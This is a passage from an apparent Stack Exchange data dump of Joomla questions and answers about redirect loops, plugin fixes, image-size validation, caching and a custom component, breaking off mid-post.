  <row Id="23367" PostTypeId="1" AcceptedAnswerId="23378" CreationDate="2018-08-29T14:12:53.530" Score="1" ViewCount="68" Body="&lt;p&gt;I tried this on many of my websites, most of them are getting &quot;redirect you too many times&quot; error, and I compare server settings of those that work and don't, but couldn't find any major difference other than working one is hosting with PHP5.6 and non-working one PHP7.&#xA;So has anyone encountered this and what could be causing the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iIJK8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIJK8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2018-09-03T19:45:14.710" LastActivityDate="2018-09-05T14:51:29.147" Title="Has anyone tried setting homepage access level to registered?" Tags="|menu-item|acl|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23369" PostTypeId="2" ParentId="17289" CreationDate="2018-08-30T04:39:31.580" Score="0" Body="&lt;p&gt;This solved the Joomla White screen of death for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in: &lt;code&gt;plugins/content/phocagalleryslideshow/phocagalleryslideshow.php&lt;/code&gt;&#xA;add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! class_exists('PhocaGalleryLoader')) {&#xA;    require_once( JPATH_ADMINISTRATOR.DS.'components'.DS.'com_phocagallery'.DS.'libraries'.DS.'loader.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got a hint that this module was causing the problems by setting in &#xA;&lt;code&gt;configuration.php&lt;/code&gt; the error reporting to maximum.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'maximum';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12850" LastEditorUserId="168" LastEditDate="2018-08-30T08:27:33.133" LastActivityDate="2018-08-30T08:27:33.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23370" PostTypeId="1" CreationDate="2018-08-30T06:47:11.667" Score="1" ViewCount="82" Body="&lt;p&gt;I wanted to restrict the dimension of image width &amp;amp; height to minimum in media manager of joomla 3.10.&#xA;min-width: 100px, min-height:50px.&#xA;Please help me how can i do this....? &lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2018-08-30T08:52:12.957" Title="limit dimension of image while uploading in joomla 3.10" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23371" PostTypeId="1" AcceptedAnswerId="23372" CreationDate="2018-08-30T07:39:37.097" Score="2" ViewCount="111" Body="&lt;p&gt;I´m triggering an alert by jQuery with Joomla.renderMessages.&#xA;The alert comes up, but won´t close when I press the close button!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m using a custom template, I´ve made from scratch&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´ve search for answers without luck. according to this - &lt;a href=&quot;https://docs.joomla.org/Display_error_messages_and_notices&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Display_error_messages_and_notices&lt;/a&gt;, it dosen´t seem like I need anything included in the template files, but I have the feeling that I need some javascript to make it work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.renderMessages({'success': ['Du kan ikke gemme en tom note']});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-08-30T08:29:13.507" LastActivityDate="2018-08-30T08:35:36.537" Title="Close button on alert dosen´t work" Tags="|template-framework|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23372" PostTypeId="2" ParentId="23371" CreationDate="2018-08-30T08:35:36.537" Score="2" Body="&lt;p&gt;The alerts derive from Bootstrap, therefore when developing a custom template, you need to make sure you include Bootstrap, and of course, jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so by adding the following lines to your template's index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-08-30T08:35:36.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23373" PostTypeId="2" ParentId="23370" CreationDate="2018-08-30T08:52:12.957" Score="1" Body="&lt;p&gt;This can be done with a content plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Helper\MediaHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContentImagesize extends CMSPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;&#xA;        $this-&amp;gt;params-&amp;gt;def('minWidth', 100);&#xA;        $this-&amp;gt;params-&amp;gt;def('minHeight', 50);&#xA;    }&#xA;&#xA;    public function onContentBeforeSave($context, &amp;amp;$file, $isNew)&#xA;    {&#xA;        // Check that we are uploading a file.&#xA;        if ($context !== 'com_media.file')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Check that file is an image.&#xA;        $helper = new MediaHelper;&#xA;&#xA;        if (!$helper-&amp;gt;isImage($file-&amp;gt;filepath))&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Get image info.&#xA;        $info = getimagesize($file-&amp;gt;tmp_name);&#xA;&#xA;        // Compare image dimensions against params.&#xA;        if ($info[0] &amp;lt; $this-&amp;gt;params-&amp;gt;get('minWidth') || $info[1] &amp;lt; $this-&amp;gt;params-&amp;gt;get('minHeight'))&#xA;        {&#xA;            $file-&amp;gt;setError(Text::_('PLG_CONTENT_IMAGESIZE_IMAGE_TOO_SMALL'));&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        return true;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See documentation on how to create other plugin files (manifest and language files) &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, &lt;code&gt;MediaHelper&lt;/code&gt;'s &lt;code&gt;isImage()&lt;/code&gt; only checks file extension. So it's not very good at determining whether file is an image. There are better ways such as checking the mime type. But for that you'd have to make a list of types you want to support.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-30T08:52:12.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23374" PostTypeId="1" CreationDate="2018-08-30T11:46:53.490" Score="2" ViewCount="491" Body="&lt;p&gt;I am trying to find a way to add &lt;strong&gt;syntax highlighting to the code view tab&lt;/strong&gt; when editing an article in the Joomla administrator interface. By default it's all black text, no line numbers and no indenting so it's very difficult to see start and end tags when looking at my html code.  I don’t want to add syntax highlighting to text in an article, I just need it when looking at the code view tab when creating/editing articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using JCE (free version) as my default editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2019-05-30T14:02:10.257" Title="How add syntax highlighting to the code view in Joomla 3" Tags="|editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23375" PostTypeId="1" CreationDate="2018-08-30T13:59:42.407" Score="1" ViewCount="110" Body="&lt;p&gt;I'd like to tweak my language filter plugin a bit, and if possible, I'd like to do that as an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to override some features in Joomla, but I'm not sure what to do in case of a system plugin.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What folder do I copy in? &lt;/li&gt;&#xA;&lt;li&gt;Which one in my template's folder (if that's how it's done)?&lt;/li&gt;&#xA;&lt;li&gt;If there is a better way, please suggest.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12852" LastEditorUserId="12352" LastEditDate="2018-08-30T20:59:25.147" LastActivityDate="2020-12-18T20:03:20.297" Title="How to override language filter plugin?" Tags="|overrides|language|system-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23376" PostTypeId="1" CreationDate="2018-08-30T16:43:02.047" Score="2" ViewCount="50" Body="&lt;p&gt;I am having an issue with smart search and k2. If I search for a Joomla article then everything pulls the correct SEF URL. If I try to search for something that is a k2 item it loads correctly but wants to send it a non SEF page and also wants to load on the default menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using answer here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/10018/search-component-pointing-to-wrong-sef-urls-in-joomla-3&quot;&gt;Search component pointing to wrong SEF URLs in Joomla 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I have it set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sitename.com/corporate/cg1/main/press-releases - this pulls in all the items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sitename.com/corporate/cg1/main/press-releases/item/421-article-alias-name - it appears that the &quot;421&quot; is the k2 item id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sitename.com/421-article-alias-name - is how it appears in the smart search which forces it to load on the default menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2024-04-02T02:06:50.890" Title="K2 SEF issues including Joomla Smart Search" Tags="|joomla-3.x|k2|sef|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23377" PostTypeId="2" ParentId="23363" CreationDate="2018-08-31T06:18:17.843" Score="0" Body="&lt;p&gt;Joomla uses &lt;strong&gt;Menu Items&lt;/strong&gt; in order to know what modules, layouts etc to display. In your case the said articles/categories do not have a menu item assigned for their view, so they will default to the home-page one (which most likely is a featured items one??).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you don't want to display component output in the home page, I could suggest you to make your home page menu item a &lt;strong&gt;Single Article&lt;/strong&gt; menu item. Create an empty home-page article and assign it there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for your Uncategorized Category (or any other categories), create a category or featured items Menu Item - you can set it to hidden if you don't want it to be displayed in your menus - and then the articles of that category will be displayed under that menu item, using it's settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the check in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will result to &lt;strong&gt;&lt;code&gt;False&lt;/code&gt;&lt;/strong&gt;, and you will have your component output for those articles.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-08-31T10:40:13.927" LastActivityDate="2018-08-31T10:40:13.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23378" PostTypeId="2" ParentId="23367" CreationDate="2018-08-31T06:38:26.693" Score="1" Body="&lt;p&gt;I think this is caused by the way you have configured your sites.&lt;br&gt;&#xA;My guess is that in those sites that you are getting the too many redirects, the &lt;strong&gt;User Login form is loaded from the home page menu item&lt;/strong&gt; - which is already set its access to &lt;strong&gt;registered users&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the location which Joomla is trying to redirect you, is also registered, thus Joomla will try again and again to redirect you, and that's causes the redirect loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you need to make sure that &lt;strong&gt;there is a menu item for the User Login&lt;/strong&gt;, that is set to &lt;strong&gt;Public Access&lt;/strong&gt; and that the login-redirect URL that Joomla forwards you is not using the home-page menu item - or any other menu item that is also set to non-public access.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that if you are using SEF components e.g. sh404SEF, the &lt;strong&gt;Login-URL&lt;/strong&gt; might have been stored in the database using another &lt;strong&gt;menu-itemId&lt;/strong&gt; than the one you want, so in this case you will have to update it, to use the correct one.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-09-05T14:51:29.147" LastActivityDate="2018-09-05T14:51:29.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23379" PostTypeId="1" CreationDate="2018-08-31T09:22:06.177" Score="2" ViewCount="97" Body="&lt;p&gt;Joomla 3.8.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple article with access level set to Registered.&#xA;A mod_login module is assigned to the menu item for the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On accessing the menu item, the login module is displayed as expected.&#xA;However, when credentials are entered I get a 404 page 'Conponent not found. The requested resource was not found'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the article access level is set to Public, the page is displayed fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm positive that this used to work, but cannot understand what the issue is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2022-04-12T19:01:25.083" Title="Component not found after restricting access to Registered users" Tags="|login|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23380" PostTypeId="2" ParentId="23379" CreationDate="2018-08-31T10:36:41.123" Score="1" Body="&lt;p&gt;Following some troubleshooting steps you can take, in order to find what is likely the cause of the issue.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Review what's the return URL after the login. Is it the same with the URL that you were sitting before the login? Also you can disable SEF URLs if they are On, and see what's the actual non-SEF URL. See if its &lt;code&gt;option&lt;/code&gt; value is not &lt;code&gt;com_content&lt;/code&gt;. Update your question and report back your before and return URLs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using a mod_login to login to the page, then 1st thing to check is in the module settings - the login redirect page that is assigned to the module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also try to see what happens even when you set the article as public and can see its content, but would try to use the login module to login.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When logged-in in the front-end, and you got that component not found error, leave that error page and go to the home page to have your site loaded as usual. Then use the menu-item to reach at that page with that article and see if it's loading. Or - remember the exact URL of that article and try to load it directly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review your plugins and see if there is any that could be involved in the login workflow. You can try disabling some of them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your Joomla installation is not corrupted, like having missing components. As proved by the OP in his answer, in his case it was the com_users component that was missing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The list can go on with further checks on your User -&gt; Login menu items settings, your template overrides, or other extensions that could be involved in your login/redirect workflow. But check first all the above and report back if you have any new findings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-08-31T11:06:45.360" LastActivityDate="2018-08-31T11:06:45.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23381" PostTypeId="2" ParentId="23379" CreationDate="2018-08-31T10:46:46.500" Score="1" Body="&lt;p&gt;Thanks FFrewin. I had been through most of these with no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did in the end was to dump out the whole of the error object on the error page (print_r($this-&gt;error)). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pointed to the &lt;strong&gt;com_users&lt;/strong&gt; component as being the source of the problem. On further investigation this entire folder was missing (inadvertently moved by someone)! Restoring that solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="126" LastEditDate="2018-08-31T11:02:40.177" LastActivityDate="2018-08-31T11:02:40.177" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23382" PostTypeId="2" ParentId="19065" CreationDate="2018-08-31T10:58:46.900" Score="0" Body="&lt;p&gt;This problem usually is caused when Joomla is configured to use SEF URLs with Rewrite Mode set to On, but the proper directive to enable Rewrites in the server's configuration is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apache&lt;/strong&gt;&lt;br&gt;&#xA;Rename the delivered with Joomla htaccess.txt file to .htaccess and make sure &lt;code&gt;RewriteEngine On&lt;/code&gt; is uncommented.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IIS 7&lt;/strong&gt;&lt;br&gt;&#xA; Rename the delivered web.config.txt file to web.config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases make sure rewrite module is installed and enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nginx.config&lt;/strong&gt;&lt;br&gt;&#xA;Adjust your nginx.config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location / {&#xA;    try_files $uri $uri/ /index.php?$args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nginx setups may not give you access to the nginx.config or allow you to add custom nginx.config files in your site's root. Consult your hosting provider for additional help.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-09-03T19:46:14.037" LastActivityDate="2018-09-03T19:46:14.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23383" PostTypeId="2" ParentId="23375" CreationDate="2018-08-31T11:21:33.847" Score="1" Body="&lt;p&gt;Template overrides are for layout files. You can override a plugin's layout/template files, assuming the plugin is designed this way. But this cannot be used to change behavior of system plugins. Usually you have to write your own plugin to use that instead of the one you want to override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you could copy the &lt;strong&gt;Language Filter Plugin&lt;/strong&gt;, rename it wherever it needs renaming and then adjust the code where you want it. Then when your plugin is ready, disable the core one and use yours in its place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will have to maintain and update your plugin when needed in order to keep it compatible with newer Joomla versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the resources here to find out more about Plugin Development:&#xA;&lt;a href=&quot;https://docs.joomla.org/Category:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Documentation: Plugin Development&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way:&#xA;What type of changes you want to do on the language filter plugin? What is not working the way you want and what you are trying to achieve?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-31T11:21:33.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23384" PostTypeId="2" ParentId="23376" CreationDate="2018-08-31T12:27:14.313" Score="0" Body="&lt;p&gt;I can not replicate the issue.&lt;br&gt;&#xA;Are you sure you have setup a proper Menu Items structure for your K2 items? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that if you have another menu item for the same content items, this might take precedence over others. If for example your homepage menu item is also a K2 categories or something, then your articles might become available under that menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure that the k2 items you think have a problem do actually belong to that category that you have created menu item for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally this might be also related to 3rd party SEF extensions. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-31T12:27:14.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23385" PostTypeId="2" ParentId="23291" CreationDate="2018-08-31T16:24:22.537" Score="1" Body="&lt;p&gt;Usually this is caused by a piece of poorly designed code, a bad plugin, some mistakes or bad approaches in the code, and/or not optimized mysql queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it may also be the combination with the server configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to debug and do a number of tests and experiments e.g. disabling plugins, changing templates etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases optimization plugins like jch may not perform that well and result in a slower website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you also use the latest versions of Joomla and extensions and report any issues to their developers.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-31T16:24:22.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23386" PostTypeId="1" AcceptedAnswerId="23387" CreationDate="2018-08-31T21:08:19.740" Score="3" ViewCount="291" Body="&lt;p&gt;I'm looking into using Joomla's caching mechanism for a plugin. However I would need to cache the plugin data for a given period of time irrespective of the site-wide cache settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to override the site-wide cache duration but only for specific cached data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question applies to the current Joomla version (3.8.12), but also looking ahead to J4, if there are any differences there.&lt;/p&gt;&#xA;" OwnerUserId="12855" LastActivityDate="2018-09-05T14:59:17.217" Title="Caching items with different cache lifetime" Tags="|joomla-3.x|plugin|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23387" PostTypeId="2" ParentId="23386" CreationDate="2018-08-31T21:57:35.923" Score="3" Body="&lt;p&gt;Yes, you can cache your data for your plugin, by creating a new &lt;strong&gt;&lt;code&gt;JCache&lt;/code&gt;&lt;/strong&gt; instance and setting your custom options.&lt;/p&gt;&#xA;&lt;p&gt;Something like below would do that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Reading global configuration params&#xA;$conf = JFactory::getConfig();&#xA;&#xA;// Setting a location for your cached data.&#xA;$cacheBase = JPATH_SITE . '/cache/yourcachelocation';&#xA;&#xA;// Your custom cachegroup&#xA;$cacheGroup = 'yourCacheGroup';&#xA;&#xA;// Lifetime for your cache&#xA;$lifetime = 60;&#xA;&#xA;// Setting your options&#xA;$options = array(&#xA;    'defaultgroup'  =&amp;gt; $cacheGroup,&#xA;    'storage'       =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;    'caching'       =&amp;gt; true,&#xA;    'cachebase'     =&amp;gt; $cacheBase,&#xA;    'lifetime'      =&amp;gt; $lifetime,&#xA;);&#xA;&#xA;// Instantiate your cache object&#xA;$cache = JCache::getInstance('', $options);&#xA;&#xA;// Create $cacheDataId  &#xA;$cacheDataId = 'yourCacheDataId';&#xA;&#xA;&#xA;// It's time to check for cached data&#xA;if ($cache-&amp;gt;get($cacheDataId) !== false )&#xA;{&#xA;    $data = $cache-&amp;gt;get($cacheDataId); // We got data from cache&#xA;}&#xA;else&#xA;{&#xA;    // No cached data, fetch fresh data&#xA;    $data = yourFreshDataGenerationMethod();&#xA;&#xA;    // Cache the data for the next time&#xA;    $cache-&amp;gt;store($data, $cacheDataId);&#xA;}&#xA;&#xA;// Do nice things with your $data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update to include relevant info found in the comments:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;code&gt;$cachebase&lt;/code&gt; to select a custom location for your cached data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of specifying that you could use the &lt;code&gt;$cachegroup&lt;/code&gt;, which would do a similar thing.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is most important is the &lt;code&gt;$cacheId&lt;/code&gt; when you are storing the data, as you will retrieve your stored cache data with this ID.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note that if you give a custom directory path (&lt;code&gt;$cachebase&lt;/code&gt;) to store your cached data that does not exist, you will have to create that folder, otherwise it won't work, but using a Cache Group will auto-create the folders for your cache - (or at least this is how I remember it works...).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I recommend to experiment with these options and see exactly how they work.&lt;/p&gt;&#xA;&lt;h3&gt;Helpful Links:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Cache.Cache.html#method_store&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JCache API Page&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_caching_to_speed_up_your_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Using caching to speed up your code&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-05T14:59:17.217" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23388" PostTypeId="2" ParentId="23357" CreationDate="2018-08-31T22:14:34.110" Score="0" Body="&lt;p&gt;There is actually no difference in the behavior between the backend and front-end site. The mechanism and the concept is the same. &#xA;There is a restricted area that requires login. If you gain access you see the content, otherwise you see a login-form. That's the whole idea behind this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One simple way for the front-end would be to have a template that checks for if the user has the required access (logged-in or whatever), so it will display the content of the page, otherwise it will display (load) a login-form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest) {&#xA;    // &#xA;    echo &quot;&amp;lt;p&amp;gt;Welcome. Login to your account or create a new one!&amp;lt;/p&amp;gt;&quot;;&#xA;    // Login/Registration Form - Can load the login module&#xA;}&#xA;else&#xA;{&#xA;   // Your privileged stuff goes here &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-31T22:14:34.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23389" PostTypeId="2" ParentId="23374" CreationDate="2018-08-31T22:21:14.800" Score="0" Body="&lt;p&gt;Do you mean to see syntax highlighting when you switch-off the editor? I don't think switching-off the JCE editor can provide syntax highlighting, as at that moment you use no editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However JCE has a plugin to switch to source code editor with syntax highlighting - but I don't remember if this is included with the free version of the editor or if you have to purchase the JCE Editor Pro. If I have to use &lt;a href=&quot;https://www.joomlacontenteditor.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JCE editor&lt;/strong&gt;&lt;/a&gt;, then I always install the Pro version.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-09-02T07:28:26.010" LastActivityDate="2018-09-02T07:28:26.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23391" PostTypeId="1" AcceptedAnswerId="23392" CreationDate="2018-09-03T06:07:34.600" Score="5" ViewCount="502" Body="&lt;p&gt;I am attempting to develop my first custom component called &lt;code&gt;com_image&lt;/code&gt;.  Because of the structure and function of my project requirements, it made best sense to clone the &lt;code&gt;com_contact&lt;/code&gt; folder and duplicate the necessary db tables/rows.  I commented out lots of unnecessary structure from the component, but now I need to add something in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I generate a blue/info &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Note_form_field_type&quot; rel=&quot;noreferrer&quot;&gt;note&lt;/a&gt; for the &quot;Edit Image&quot; (first) tab at &lt;code&gt;administrator/index.php?option=com_image&amp;amp;view=image&amp;amp;layout=edit&amp;amp;id=1&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my project, there are actually no fields in the primary panel of the first tab.  The note field only needs to hold the &lt;code&gt;location&lt;/code&gt; value which I am successfully echoing with... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span9&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row-fluid form-horizontal-desktop float-cols&quot; &amp;gt;&#xA;            &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;                &amp;lt;?php echo &quot;Path: &amp;lt;b&amp;gt;&quot; , $this-&amp;gt;item-&amp;gt;location , &quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&quot;; ?&amp;gt;&#xA;                &amp;lt;?php echo &quot;&amp;lt;img src=\&quot;&quot; , $this-&amp;gt;item-&amp;gt;location , &quot;\&quot;&amp;gt;&quot;; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        